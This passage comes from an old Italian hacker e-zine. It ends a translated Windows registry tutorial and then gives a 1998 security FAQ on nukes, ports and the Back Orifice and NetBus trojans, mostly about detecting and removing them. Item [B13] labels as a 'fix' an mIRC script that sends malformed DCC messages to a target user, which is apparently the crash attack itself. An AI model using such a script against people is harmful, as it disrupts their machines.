|Solamente due di queste chiavi sono salvate effettivamente su disco rigido: |
|HKEY_LOCAL_MACHINE e HKEY_USERS. |
|Le altre sono soltanto "
ramificazioni" delle chiavi principali o chiavi dinami- |
|che create da Windows. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_LOCAL_MACHINE |
| |
|Questa chiave contiene qualsiasi informazione sul sistema , sulle applicazioni e|
|sui servizi di un computer. |
| |
|Molte informazioni si aggiornano automaticamente mentre il computer è in esecu- |
|zione. I dati immagazzinati in questa chiave vengono condivisi da ogni utente. |
| |
|Questa chiave ha varie sottochiavi: |
| |
| Config |
|Contiene dati della configurazione per configurazioni diverse dell' hardware. |
| |
| Enum |
|Questa contiene i dati delle periferiche. Per ogni periferica nel tuo computer, |
|tu puoi cercare informazioni come il tipo di periferica, la casa produttrice, i |
|drive e la configurazione corrente. |
| |
| Hardware |
|Questa chiave contiene la lista delle porte seriali,i processori e processori. |
| |
| Network |
|Contiene Informazioni sulla rete. |
| |
| Security |
|Mostra informazioni sulla sicurezza della tua rete. |
| |
| SoftWare |
|Questa chiave contiene informazioni sui software installati. |
| |
| System |
|Questa invece contiene dati che amministrano le periferiche usate da Windows e |
|la loro configurazione. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CLASSES_ROOT |
| |
|Questa chiave è un alias del ramo HKEY_LOCAL_MACHINE\Software\Classes e contiene|
|OLE, drag'n'drop,shortcut e informazioni sui file associati. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CURRENT_CONFIG |
| |
|Questa chiave è un'altro alias. Esso contiene una copia del ramo HKEY_LOCAL_ |
|MACHINE\Config, con la configurazione corrente del computer. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_DYN_DATA |
| |
|Contiene alcune informazioni sulle frequenti modifiche del registro, cosi |
|Windows mantiene una parte di esso in memoria nel tuo Hard Disk. Per esempio, |
|conserva la configurazione PnP e le prestazioni del computer. Questa chiave ha |
|due sottochiavi: |
| |
| Config Manager |
|Questa SubKey contiene tutte le informazioni sui problemi dell'Hardware e sulla |
|sua configurazione. Contiene anche la sottochiave HKEY_LOCAL_MACHINE\Enum. |
| |
| PerfStats |
|Contiene informazioni sulle prestazioni del sistema e della rete. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_USERS |
| |
|Questa importante chiave contiene le sub key .Default e un'altra chiave per ogni|
|utente che ha accesso al computer. Se c'è soltanto un' utente, esiste solo la |
|Default key. Ogni sottochiave gestisce le impostazioni per ogni utente, come il |
|colore del desktop, i font usati, e anche le impostazioni di altri programmi. |
|Se tu apri una chiave di un' utente potrai trovare 5 importanti sottochiavi: |
| |
| AppEvent |
|Contiene la directory dei file audio che windows esegue quando svolge determi- |
|nate operazioni. |
| |
| Control Panel |
|Qui ci sono le impostazioni del Pannello di Controllo. Esse risiedono nei file |
|win.ini e control.ini |
| |
| Keyboard Layouts |
|Contiene una voce che identifica e setta nel Pannello di Controllo il tipo di |
|tastiera usata. |
| |
| Network |
|Questa chiave ha delle sottochiavi che descrivono i correnti e recenti collega- |
|menti alla rete. |
| |
| RemoteAccess |
|Le impostazioni dell'Accesso Remoto sono contenute qui. |
| |
| Software |
|Contiene le impostazioni su tutti i software installati. Queste informazioni |
|sono contenute nel win.ini o negli altri file privati .ini. |
| |
+--------------------------------------------------------------------------------+
| |
| HKEY_CURRENT_USER |
| |
|E' un alias della HKEY_USERS. Se il tuo computer non è configurato per un uso |
|multi-utente, è messo nella sottochiave .Default di HKEY_USERS. |
| |
+--------------------------------------------------------------------------------+
| |
| Descrizione di un file .reg |
| |
+--------------------------------------------------------------------------------+
|Qui presumo che vuoi abbiate gia un file .reg nel vostro hard disk e vogliate |
|conoscere come esso sia strutturato. Adesso non facciamo doppio click sul file |
|.reg o il suo contenuto verrà aggiunto al registro di windows, ovviamente ci |
|sarà un messaggio di avviso che vi avvertirà. Per cominciare avviamo Il notepad |
|da Start>Programmi>Accessori>Blocco note. Poi attraverso il menu apriamo il file|
|.reg. |
| |
|Ora , la parola che rende differente un file .reg da altri archivi è REGEDIT4. |
|Questa dovrebbe essere la prima stringa di ogni archivio .reg. Se questa parola |
|non c'è, l' editor di registro non riconosce il file come un file .reg. |
| |
|Poi segue la dichiarazione della chiave che deve essere fatta fra parentesi |
|quadre e con la directory completa. Se la chiave non esiste , verra creata. |
|Successivamente alla dichiarazione della chiave , potrai vedere una lista di |
|valori che verranno impostati in particolari chiavi del registro di Windows. |
| |
+--------------------------------------------------------------------------------+
| |
| I valori vengono dichiarati cosi: |
| |
| "
value name"=type:value |
| |
|Il nome del valore è racchiuso fra virgolette. Type può essere assente per i |
|valori della stringa, dword: |
|per valori dword ed hex : per valori binari e per tutti gli altri valori che |
|utilizzano il codice hex(#): dove # indica il codice API. |
| |
| Ankit Fadia |
| ankit@bol.net.in |
| Iscriviti alla mia mailing list per ricevere altri tutorial [in inglese], |
| manda un e-mail a: programmingforhackers-subscribe@egroups.com |
| |
| Pubblicato su Black Sun Research Facility - http://blacksun.box.sk |
| |
+--------------------------------------------------------------------------------+
| |
| Nota importante : expand string has API code = 2 and extended string has API |
| code = 7. |
| |
|Come puoi vedere, le stringhe sono a quota doppia, dword è esadecimale e binary |
|è una sequenza di byte pari esadecimali, con una virgola fra ognuno. Se vuoi |
|aggiungere un back slash in una stringa ,ricordati di ripeterlo due volte, così |
|il valore "
c:\Windows" sara c:\\Windows. |
|Prima di scrivere un nuovo file .reg , sii sicuro di fare questo altrimenti |
|otterai un messaggio d'errore. |
| |
+--------------------------------------------------------------------------------+
| |
| Comandi per la registrazione di Argomenti. |
| |
| FILENAME.REG per aggiungere un file .reg al registro |
| |
| /L:SYSTEM Per specificare la posizione del SYSTEM.DAT |
| |
| /R:USER per specificare la posizione di USER.DAT |
| |
| /e FILENAME.REG [KEY] Per "
esportare" il registro in un file. Se la chiave è |
| specificata, questa verrà esportata. |
| |
| /c FILENAME.REG Per sostituire l'intero registro con un file .reg |
| |
| /s per lavorare silenziosamente , senza informazioni dal prompt o messaggi di |
| errore. |
| |
+--------------------------------------------------------------------------------+
| |
| E questo è tutto per il registro di Windows. |
| |
| Ankit Fadia - ankit@bol.net.in |
| |
| Visitate il mio sito per vedere altri tutorial scritti da me: |
| |
| http://www.crosswinds.net/~hackingtruths |
| |
| Pubblicato su Black Sun Research Facility - http://blacksun.box.sk |
+--------------------------------------------------------------------------------+
| |
| ///...\\\.../// FINE DELLA TRADUZIONE \\\...///...\\\ |
| |
| Versione Originale di (inglese) : Ankit Fadia <ankit@bol.net.in> |
| Versione Tradotta : SpIDeR2K |
| E-mail : spider2k@freemail.it |
| Data Traduzione: 28 (sera) - 29 (mattina) /06/2000 |
| |
+--------------------------------------------------------------------------------+
| |
|Se voi , espertoni di inglese da 30 e lode , leggete questo file e trovate |
|errori o parti non molto comprensibli , scrivetemi pure e vedrò di mandarvi il |
|file originale in inglese. |
| |
|Byeeeeeezzz! |
| |
+--------------------------------------------------------------------------------+
| |
| Potete trovare il testo originale su http://napolihak.cjb.net |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [VARI] -=[08]=- |
|FAQ Sulla Sicurezza Security |
+--------------------------------------------------------------------------------+
| |
| Security FAQ - versione 0.51 beta 2 |
| |
+--------------------------------------------------------------------------------+
| |
| Revisore: Massimiliano Baldinelli |
| Ultima revisione: 22/11/1998 |
| e-mail: M.Baldinelli@agora.stm.it |
| Distribuzione: it.comp.sicurezza.varie |
| it.faq |
| http://www.linuxvalley.com/~lserni |
| http://www.agora.stm.it/M.Baldinelli/software/securfaq.txt|
| Credits: Giulio |
| invy |
| Leonardo Serni |
| Marco D'Itri |
| Master |
| Maurizio Cimaschi (per [PORT-Appendice] e [C01a]) |
| Paolo Monti (per [B24]) |
| x-hacker |
| (e altri che ho certamente dimenticato) per contributi |
| diretti e/o indiretti al materiale qui riportato. Contribu|
| ti diretti = correzioni, citazioni e materiale diretto a |
| me (tramite e-mail o risposte a miei post su comp.sicurez-|
| za.varie). Contributi indiretti = tutto il resto è stato |
| postato su ics.varie e sul quale questa FAQ p basata. |
| |
+--------------------------------------------------------------------------------+
| |
| 0 - Storia |
| Disclaimer |
| Distribuzione |
| Appello |
| |
| A - Informazioni generali |
| [A01] Cos'e' un nuke |
| [A02] Vari tipi di attacco |
| [A03] Ma cosa sono queste "
porte"? |
| [A04] Differenze fra hackers e altri bei tomi |
| [A05] Ho sentito parlare di "
editor esadecimale", ma non ho capito esattamen|
| te cos'è... |
| |
| B - Le minacce dall'esterno |
| [B01] Cos'è Bo? |
| [B02] Ma cos'è un trojan? |
| [B03] Infettare con il Bo |
| [B04] SilkRope? E che è? |
| [B05] Cosa si fa con BO |
| [B06] Come faccio a sapere se ho il Bo? |
| [B07] Ho scoperto di avere Bo, come lo tolgo? |
| [B08] E come mi accorgo invece di Netbus? |
| [B09] Scoprire trojan in generale. |
| [B10] Come si toglie Netbus? |
| [B11] Come si toglie TeleCommando? |
| [B12] Cos'è Aggressor? |
| [B13] Un bug di mIRC |
| [B14] Che rischi corro usando ICQ? |
| [B15] Cosa sono le scansioni invisibili? |
| [B16] Ma cosa può passare da 'ste benedette porte? |
| [B17] Può un intruso conoscere quello che scrivo sulla tastiera? |
| [B18] Ma il file windll.dll non è un file di sistema di Windows? |
| [B19] Ho ricevuto un messaggio e-mail con un allegato, ma quando tento di |
| leggerlo il mio Outlook va in crash. |
| [B20] Come vedo se ho il protocollo NetBIOS su TCP/IP installato? Che rischi|
| corro? |
| [B21] [MacOS] E' possibile far piantare il Mac tramite la rete? |
| [B22] E' possibile che qualcuno riesca a navigare "
sembrando me"? |
| [B23] Senza programmi come Bo o NetBus è possibile "
entrare" nel computer di|
| qualcuno? |
| [B24] Le porte UDP 137 e 138 sono un rischio? E perché? |
| [B25] Ho notato che ogni volta che mi connetto a internet si aprono automati|
| camente queste due porte 137 e 138. Io ho la versione OSR2 di win95, è|
| un problema di questa versione? |
| |
| C - Metodi di difesa |
| [C01] Proteggere il sistema - Info generali |
| [C01a] Come si configura correttamente il Nuke Nabber? |
| [C02] Le componenti di rete, ovvero: cosa tengo e cosa tolgo? |
| [C03] Ma se tolgo il Client per reti MS non mi memorizza più la password!!! |
| [C04] Quali porte controllare con NukeNabber? |
| [C05] Cosa uso per controllare l'attività di rete del mio computer? |
| [C06] Password mantenute in cache |
| [C07] Ho il programma WinTOP dei Kernel Toys. Serve a qualcosa? |
| [C08] E' vero che si possono far eseguire dei programmi dannosi allegandoli |
| a un messaggio e-mail? |
| [C09] Posso proteggere un file o una directory sotto Windows da accessi in- |
| desiderati? |
| |
+--------------------------------------------------------------------------------+
| |
| 0 - Storia |
| |
|16/10/1998: v. 0.1 pre-alpha |
| - Prima apparizione |
|24/10/1998: v. 0.2 alpha |
| - Aggiunta [B13], Storia, Disclaimer, Distribuzione, Appello, [C05],|
| [C06] |
| - Aggiornata [A04], [A02], [B01], [B07] |
|14/11/1998: v. 0.5 beta 1 |
| - Aggiunta [B15], [B16], [B17], [B18], [C07], [C08], [A05], [B19], |
| [B20], [B21], [B22], [B23], [C09], [PORT-Appendice], [C01a] [B24],|
| [B25] |
| - Aggiornata [C01], [A01], [B04], [C04], [A03], [B01] |
|22/11/1998 v. 0.51 beta 2 |
| - Aggiornata [A05], [B01] |
| |
+--------------------------------------------------------------------------------+
| |
| Disclaimer |
| |
|Ogni modifica fatta al sistema, riguardante la configurazione hardware e/o soft-|
|ware, è ESCLUSIVAMENTE a rischio e pericolo del lettore di questa FAQ, come pure|
|la responsabilità delle conseguenze di tali modifiche (dato che non posso cono- |
|scere le infinite varianti dei sistemi in uso e relative necessità di configura-|
|zione, in particolare riguardo la rete eventualmente installata). |
|Se il computer da riconfigurare e/o ripristinare non è il proprio, avvertire il |
|proprietario/responsabile per essere autorizzati a metterci le mani. |
|Questo riguarda soprattutto macchine usate in ambito lavorativo e/o accademico, |
|ma anche più semplicemente il computer non proprio ma del fratello/cugino/amico |
| |
+--------------------------------------------------------------------------------+
| |
| Appello |
| |
|Questo documento non vorrebbe avere un approccio troppo Windows-centrico, ma a |
|causa dell'uso prevalente da parte del suo curatore dell'accoppiata Wintel (e, a|
|giudicare dai messaggi in i.c.s.varie, anche da parte di chi si rivolge al grup-|
|po per chiedere aiuto) la situazione non può essere che questa. E' quindi gradi-|
|to l'invio alla mia e-mail di ogni contributo riguardante problemi di sicurezza |
|e (se esistono) relativi rimedi riguardanti anche altri sistemi, come Amiga, |
|OS/2, Mac, Linux, ... |
| |
+--------------------------------------------------------------------------------+
| |
| [A01] Cos'è un nuke |
| |
|Sappiamo tutti (in particolare gli utenti Windows) che non esiste il sistema ope|
|rativo perfetto. E' possibile mandare in crisi un sistema operativo connesso in |
|rete inviandogli pacchetti di dati costruiti a regola d'arte, che sfruttino per |
|esempio una cattiva implementazione del protocollo TCP/IP, quello usato in Inter|
|net. Gli effetti vanno dal Blue Screen of Death al congelamento totale della mac|
|china :( unico comando funzionante: pulsante di reset hardware). |
|Un esempio di nuke è dato da un pacchetto con indirizzo IP mittente uguale a qu-|
|ello del destinatario, che cortocircuita la connessione (in pratica, il computer|
|nel rispondere comincia a mandare dati a se stesso), oppure un pacchetto sapien-|
|temente frammentato in maniera che le parti si sovrappongano parzialmente. |
|Ovviamente il nuke è fatto su misura e sfrutta le debolezze di uno specifico |
|stack TCP abbinato al suo specifico sistema operativo; quindi il nuke che va be-|
|ne per Windows non va bene (o almeno non è detto che vada bene) per altri compu-|
|ter, e viceversa nuke che buttano giù altri computer, _forse_ potrebbero anche |
|non buttare giù Windows. |
| |
+--------------------------------------------------------------------------------+
| |
| [A02] Vari tipi di attacco |
| |
| - NesTea, Suffer3, Boink, Land, Oob, Smurf |
| |
|Si tratta di attacchi di tipo DoS (nulla a che vedere con MS-DOS, la sigla signi|
|fica Denial of Service, Privazione di Servizio). L'effetto varia da noie sullo |
|schermo in presenza di patch a reset della macchina, a schermi blue sotto Win, a|
|stop dei trasferimenti per intasamento delle connessioni; |
| |
| - Portscan |
| |
|Serve a trovare le porte aperte di un host remoto. |
| |
+--------------------------------------------------------------------------------+
| |
| [A03] Ma cosa sono queste "
porte"? |
| |
|In un ufficio postale esistono vari sportelli, ognuno dei quali svolge un servi-|
|zio ben determinato: uno per le raccomandate, uno per i pacchi, uno per i tele- |
|grammi, uno per vaglia e conti correnti, uno per il pagamento delle pensioni... |
| |
|Analogamente, una macchina connessa alla rete (l'"
ufficio postale") ha una serie|
|di porte (gli "
sportelli"), ognuna delle quali ha un numero ed è associata a un |
|ben determinato servizio. Gli indirizzi di porta vanno da 0 a 65535, e quelli |
|inferiori a 1024 sono i cosiddetti Well Known Services (Servizi Ben Noti). |
|I piu' usati sono il 21 per l'ftp, il 23 per telnet, il 25 per smtp (invio di |
|posta), 80 (http, pagine web; molti server usano anche la porta 8080), il 110 |
|per pop3 (ricezione di posta), il 119 per nntp (le news). Il file services (in |
|windows è nella directory C:\<dir. di Windows>\System) li elenca in maniera più |
|dettagliata. |
| |
|VEDERE [PORT-Appendice] per un elenco con maggiori dettagli (tnx Maurizio!) |
| |
|Perché ci si possa collegare a una determinata porta, occorre che sulla macchina|
|ci sia un server in ascolto su di essa. Per esempio, quando riusciamo a spedire |
|una mail a qualcuno, è perché il server di posta del nostro provider ha un "
demo|
|ne" in ascolto permanente sulla porta 25, mentre se l'invio fallisce significa |
|che quel programma non è in esecuzione (macchina spenta perché guasta, oppure il|
|programma stesso ha dato i numeri). Ancora, poiché Windows 95 non ha un server |
|telnet di serie (ha solo il client), se proviamo a fare telnet standard verso |
|una macchina Windows 95 il tentativo fallirà perché non c'é niente in ascolto |
|sulla porta 23. |
| |
+--------------------------------------------------------------------------------+
| |
| [A04] Differenze fra hackers e altri bei tomi |
| |
|C'è molta confusione sull'uso della parola hacker, per colpa soprattutto della |
|disinformazione a opera dell'informazione (che paradosso!) TV e stampata e di |
|certa cinematografia. L'hacker nell'immaginario comune è colui che cerca di pene|
|trare in un sistema per buttarlo giù, che nel corso delle sue scorribande provo-|
|ca comunque dei danni, come per esempio il furto di file di password o altre in-|
|formazioni riservate. Quello non è un hacker, ma un __cracker__. L'__hacker__ in|
|vece è una persona che anzi non lascia tracce, che se viola la sicurezza di un |
|sistema è per dimostrare di esserne capace. |
| |
|Un hacker cerca di apprendere sempre di più sulla macchina e sistema operativo |
|che usa (e sugli altri ovviamente). Il suo scopo è quello di vincere certe sfide|
|e in un certo senso anche di rendersi utile alle sue vittime. |
|L'etica hacker infatti vuole che dopo aver violato un sistema si lasci una trac-|
|cia, da qualche parte nel sistema stesso, che informi il suo amministratore come|
|è stato possibile entrare e quali falle nella sicurezza sono state sfruttate, |
|cosicché egli possa tapparle. |
|I __wannabe__ sono invece coloro che "
vorrebbero essere" (wannabe = want to be |
|[voler essere], contrazione americana credo) per esempio hacker, ma che non lo |
|sono. Nei newsgroup un wannabe farà spesso sfoggio di termini tecnici, anche a |
|sproposito, salvo volatilizzarsi o buttarla in rissa quando si cerca di approfon|
|dire un argomento che non è in grado di sostenere. Un __lamer__ invece è chi si |
|crede un grande esperto, per esempio di sistemi, mentre in realtà sfrutta solo |
|ciò che gli altri hanno già fatto. Un esempio? Tutti i tipi che si danno arie da|
|hacker solo perché sono capaci di lanciare il client di Bo (che non sarebbero |
|mai capaci di scrivere, per inciso) e mandare un messaggio pop-up sullo schermo |
|del boservizzato. |
| |
|Questo e molto altro è spiegato in "
The Hackers's Dictionary 3ed.", anche in ver|
|sione WWW, mentre il testo di riferimento per tutte queste definizioni è il Jar-|
|gon File, disponibile in formato testo e info in parecchi siti, e la cui home pa|
|ge e': |
| |
| http://www.ccil.org/jargon/ |
| |
+--------------------------------------------------------------------------------+
| |
| [A05] Ho sentito parlare di "
editor esadecimale", ma non ho capito esattamen-|
| te cos'è... |
| |
|I programmi tipo edit.com dell'MS-DOS o NotePad (Blocco Note nella versione ita-|
|liana) di Windows sono degli editor di testo che permettono di leggere e modifi-|
|care dei file di testo; ne esistono un'infinità commerciali o free. |
|Gli editor esadecimali sono analoghi concettualmente, ma permettono di leggere e|
|modificare ogni tipo di file, quindi vengono usati per aprire e manipolare dei |
|file binari, come eseguibili (.exe e .com), librerie (.dll), eccetera. |
|Si chiamano editor esadecimali perché con essi viene visualizzato il valore esa-|
|decimale dei byte che costituiscono il file, tipicamente in una parte della fi- |
|nestra, mentre nell'altra viene mostrata la sequenza di caratteri corrispondenti|
|(se stampabili a schermo). |
| |
|Un editor esadecimale è un programma semplice ma potentissimo, perché permette |
|di fare praticamente tutto su ogni file, e l'unica condizione è di sapere ESAT- |
|TAMENTE cosa si fa. Questo significa che, se volessimo cambiare la scritta "
Av- |
|vio di Windows..." che appare al boot o la scritta "Avvio" o "Start" sul pulsan-|
|te di avvio, dovremmo aprire il file giusto (nel secondo caso explorer.exe) con |
|un editor esadecimale, posizionarci nel punto in cui è memorizzata la stringa e |
|cambiarla. Inutile dire che l'uso di tali programmi è pericolosissimo se fatto |
|per puro cazzeggio, dato che un file binario modificato "
alla cieca" diventa con|
|altissima probabilità inutilizzabile. |
| |
|Per le sue caratteristiche, gli editor esadecimali si prestano anche ad usi non |
|"
politicamente corretti" (eufemismo), come sprotezione di programmi, camuffamen-|
|to rispetto ad antivirus e programmi di monitoraggio in genere, e così via. |
| |
+--------------------------------------------------------------------------------+
| |
| [B01] Cos'è Bo? |
| |
|E' un programma cosiddetto Trojan, che permette intrusioni indesiderate nel pro-|
|prio computer. BO è l'acronimo di Back Orifice, nome che irride il prodotto Back|
|Office di Microsoft, oltre ad essere molto esplicito sulla parte del corpo che |
|duole dopo esserselo installato :-))). Esso si compone di un client e di un ser-|
|ver, quest'ultimo dev'essere installato sul computer della vittima, dopodiché il|
|client permette al "
buon samaritano" che lo possiede, e a chiunque abbia il cli-|
|ent installato, di compiere varie operazioni sul computer "
boservizzato" (viene |
|indicato in questo modo un computer che abbia installato il server). |
|Le operazioni possono essere le più svariate, dal trasferimento di file all'ese-|
|cuzione di programmi, alla lettura di informazioni contenute nei dischi |
|(fissi, cd-rom, zip, ...). |
| |
|Bo fa parte della categoria delle backdoor. In effetti, nel sito Web dei creato-|
|ri di Back Orifice (il gruppo Cult of the Dead Cow, http://www.cultdeadcow.com )|
|esso è definito come un programma di controllo a distanza. Da notare che esso |
|funziona perfettamente sia sotto Windows 95 che sotto Windows 98, mentre non se |
|ne conosce ancora una versione per Windows NT. |
| |
+--------------------------------------------------------------------------------+
| |
| [B02] Ma cos'e' un trojan? |
| |
|Un trojan, da non confondere con i virus che sono un'altra cosa, è un programma |
|che si nasconde sotto le mentite spoglie di un altro programma. Per esempio l'au|
|toinstallante che si spaccia come un fantastico screen saver con il filmato di |
|Pamela. Oltre al Bo rientrano in questa categoria anche programmi come NetBus e |
|TeleCommando. Il nome ovviamente deriva dal mitico Cavallo di Troia, che dentro |
|l'apparenza di un dono di pace celava gli uomini che avrebbero distrutto la cit-|
|tà stessa.

  
|
| |
+--------------------------------------------------------------------------------+
| |
| [B03] Infettare con il Bo |
| |
|Il veicolo di trasmissione di Bo è un programma chiamato SilkRope. Esso incapsu-|
|la il server di Bo in un altro programma in maniera apparentemente invisibile, a|
|meno di non aprirlo con un editor, e lo installa quando il programma viene ese- |
|guito (ecco il parallelo col Cavallo di Troia). E' questa caratteristica che |
|giustifica il fatto di considerare Back Orifice un trojan, oltre che una back- |
|door. |
| |
+--------------------------------------------------------------------------------+
| |
| [B04] SilkRope? E che è? |
| |
|Dati due programmi a 32 bit li fonde in un unico programma che quando viene ese-|
|guito lancia i due originari. Il programma in sé non è pericoloso, dato che esso|
|può fondere due eseguibili a 32 bit qualunque. |
|In tutti i casi in cui sull'hard disk è presente un eseguibile formato da due |
|programmi uniti con SilkRope, un controllo antivirus potrebbe dare comunque l'al|
|larme, anche se i due programmi sono perfettamente innocui. |
| |
+--------------------------------------------------------------------------------+
| |
| [B05] Cosa si fa con BO |
| |
|E' possibile eseguire operazioni remote sul computer boservizzato come se si |
|stesse operando direttamente su di esso. Bo mette in grado il suo utilizzatore |
|anche di conoscere eventuali password digitate, intercettando la tastiera (fun- |
|zione svolta dal file windll.dll). |
|Si può anche aprire la porta 23, quella del telnet, sul PC boservizzato. In tal |
|caso è possibile avere una shell sul computer della vittima, esattamente come se|
|si telnettasse su sistemi Unix, utilizzando però il command.com del DOS invece |
|delle shell Unix come bash. |
| |
+--------------------------------------------------------------------------------+
| |
| [B06] Come faccio a sapere se ho il Bo? |
| |
|Di certo non leggendo la finestra che appare premendo CTRL-ALT-DEL. Bo usa una |
|funzione dell'API di Windows che serve a nascondere il processo che la chiama. |
|"Nascondere" vuol dire appunto che non si vede nella taskbar né nella finestra |
|che appare premendo CTRL-ALT-DEL. Mentre si é in linea, aprite una finestra DOS |
|e lanciate il comando netstat -na. |
| |
|Questo mostrerà tutte le connessioni attive in quel momento (aggiungere un nume-|
|ro per specificare un controllo periodico ogni <X> secondi): se fra esse ce n'è |
|una sulla porta 31337, è lui! |
| |
|Questo non esaurisce l'argomento, dato che la porta è configurabile e quindi può|
|essere cambiata da chi tenta di introdursi nelle macchine altrui. Naturalmente |
|l'infame può decidere di manifestarsi apertamente, con messaggi pop-up, e in tal|
|caso non c'è dubbio. Un programma utile al controllo è AVP System Watcher |
|(http://www.avp.it, freeware), che controlla il sistema alla ricerca di BO. |
|Antigen è un altro programma per eliminare il Boserve nella forma di default. |
|In ogni caso, anche se il Boserve che vi siete ritrovati sull'HD ha nome e porta|
|di comunicazione differenti, Antigen non riesce a rimuoverlo ma vi rivela comun-|
|que la sua presenza e lo disattiva sino al seguente reboot (non riesce a cancel-|
|lare l'exe del bo in versione non default e la seguente chiamata dal registro di|
|Win). |
| |
+--------------------------------------------------------------------------------+
| |
| [B07] Ho scoperto di avere Bo, come lo tolgo? |
| |
|Si può fare anche a mano. Cercare e cancellare il file " .exe" (sì, il nome del |
|file è uno spazio) e windll.dll. Il primo è il server vero e proprio. |
|Cercare comunque la stringa "bofilemap" nell'hard disk è più sicuro, dato che il|
|nome del server può essere variato. Andare nel Registro di Windows alle chiavi |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices |
| |
|dove sono i programmi lanciati all'avvio. Cancellare da tale chiave qualunque co|
|sa non sia di "sicura" provenienza (Barra di Office, antivirus, demone ICQ, ...)|
|Controllare anche |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce |
| |
+--------------------------------------------------------------------------------+
| |
| [B08] E come mi accorgo invece di Netbus? |
| |
|Il file sysedit.exe nella directory C:\<dir di Windows>\System è di 20k. Se inve|
|ce è grande ~400k è il server di Netbus. Attenzione anche a file di nome |
|patch.exe, splat1.exe o contascatti.exe e persino explore.exe, diverse versioni |
|del trojan possono essere in uno di questi! |
| |
+--------------------------------------------------------------------------------+
| |
| [B09] Scoprire trojan in generale. |
| |
|Un metodo applicabile a questo tipo di trojan client-server è quello di instal- |
|lare il client e di provare a contattare il server, dando l'indirizzo IP |
|127.0.0.1, che corrisponde appunto alla macchina locale (localhost). Se il clie-|
|nt ottiene una risposta, avete trovato il server che andrà rimosso prontamente. |
| |
+--------------------------------------------------------------------------------+
| |
| [B10] Come si toglie Netbus? |
| |
|La versione 1.53 presenta gravi bug, come ad esempio l'impossibilità di rimuover|
|lo attraverso il pulsante di server admin (server admin --->remove server). |
|In questo caso convinene eliminarlo manualmente. In tutti gli altri casi basta |
|avere Netbus versione client e cliccare appunto su server admin e selezionare |
|remove server. Questo dopo essersi collegati all'indirizzo di localhost |
|(127.0.0.1). Nel caso esista una password la ricerca di tale pass è semplice. |
|Si cerca nel registro di Win il nome del server (Patch oppure Explore) e si leg-|
|gerà la pass scritta in chiaro alla voce settings. |
| |
+--------------------------------------------------------------------------------+
| |
| [B11] Come si toglie TeleCommando? |
| |
|Procurarsi il client ed eseguire il comando "Uninstall Server". Se la risposta è|
|"You have NO Rights", tentare un password vuota. Altrimenti il metodo manuale: |
| |
| 1) Aprire il registro con Regedit e andare alla chiave |
| |
| HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
| |
|togliere il riferimento al file odbc.exe, che si trova in C:\<dir. di Windows> |
|\System |
| |
| 2) Riavviare il computer |
| |
| 3) Cancellare il file |
| |
+--------------------------------------------------------------------------------+
| |
| [B12] Cos'è Aggressor? |
| |
|E' un exploit generator. Esso genera pacchetti anomali, che sfruttano delle pec-|
|che specifiche di ogni sistema operativo. Per esempio, un pacchetto con una ses-|
|ta word tale che, in AND con 0x0FE0, ti dà un valore diverso da zero, non gesti-|
|to da Windows. L'utilizzatore gli dà un IP a cui inviare i pacchetti strani, e |
|il PC della vittima subisce malfunzionamenti vari (si blocca, si resetta, ecc..)|
|Per ovviare al fatto che, sotto Windows, non si possono inviare pacchetti "raw",|
|Aggressor implementa un proprio sistema di controllo del flusso di dati. In Ag- |
|gressor, fra l'altro, si puo' specificare il Source IP: vuol dire che l'attacco |
|sembra arrivare dall'IP specificato e non dal proprio, ossia ogni pacchetto IP |
|che venisse loggato o ispezionato dal remoto, avrebbe quell'indirizzo invece di |
|quello effettivo di provenienza. |
| |
+--------------------------------------------------------------------------------+
| |
| [B13] Un bug di mIRC |
| |
|Sembra che la versione 5.4 di IRC 5.4 abbia un bug che causa il blocco del com- |
|puter attraverso il DCC. Il problema si può risolvere con il seguente script che|
|funziona *solo* con mirc 5.4; il bug dovrebbe essere risolto nella versione 5.41|
| |
| phixme { |
| %ip = $rand( ?phixer-cut? ) |
| raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND $r(1,99) $+ .txt %ip |
| $r(113,9000) $+ $chr(1) $+ $lf $+ privmsg $1 : $+ $chr(1) $+ DCC |
| RESUME $r(1,99) $+ .txt $+ $chr(1) |
| } |
| |
+--------------------------------------------------------------------------------+
| |
| [B14] Che rischi corro usando ICQ? |
| |
|La prima cosa da sapere è che ICQ, come tutti i programmi basati su TCP/IP, uti-|
|lizza delle porte, attraverso le quali passano i dati che inviate e ricevete. |
|In particolare, ICQ apre una porta per ogni utente con cui state comunicando, |
|quindi le conclusioni restano all'intuito del lettore di questa FAQ... |
|Può essere in teoria possibile che un programma si camuffi da ICQ e quindi fac- |
|cia uso delle porte che l'utente di ICQ apre per dialogare con un utente remoto |
|(c'è qualcuno in grado di confermare o smentire?). Esistono anche dei programmi |
|che permettono di usare ICQ come backdoor (avviso ai lamer: non li conosco, quin|
|di non scrivetemi per chiedermi dove sono ^__^). |
|E' quindi buona norma anche per l'utente di ICQ (come il sottoscritto... sigh!) |
|controllare sempre il PC alla ricerca di presenze sospette. |
| |
+--------------------------------------------------------------------------------+
| |
| [B15] Cosa sono le scansioni invisibili? |
| |
|E' possibile sapere se sono state effettuate delle "stealth scan" standard anche|
|sotto Windows 95. Bisogna aprire un prompt MS-DOS e dare il comando: |
| |
| C:\WINDOWS\Desktop>netstat -snap tcp |
| |
| TCP Statistics |
| Active Opens = 245 |
| Passive Opens = 8 |
| Failed Connection Attempts = 9 |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |
| |
|Il valore della riga sottolineata corrisponde al numero di porte aperte scansio-|
|nate dall'esterno (solo per le porte aperte e' possibile sapere se sono state |
|scansionate). In particolare, il valore indicato e' il numero di scansioni "invi|
|sibili"
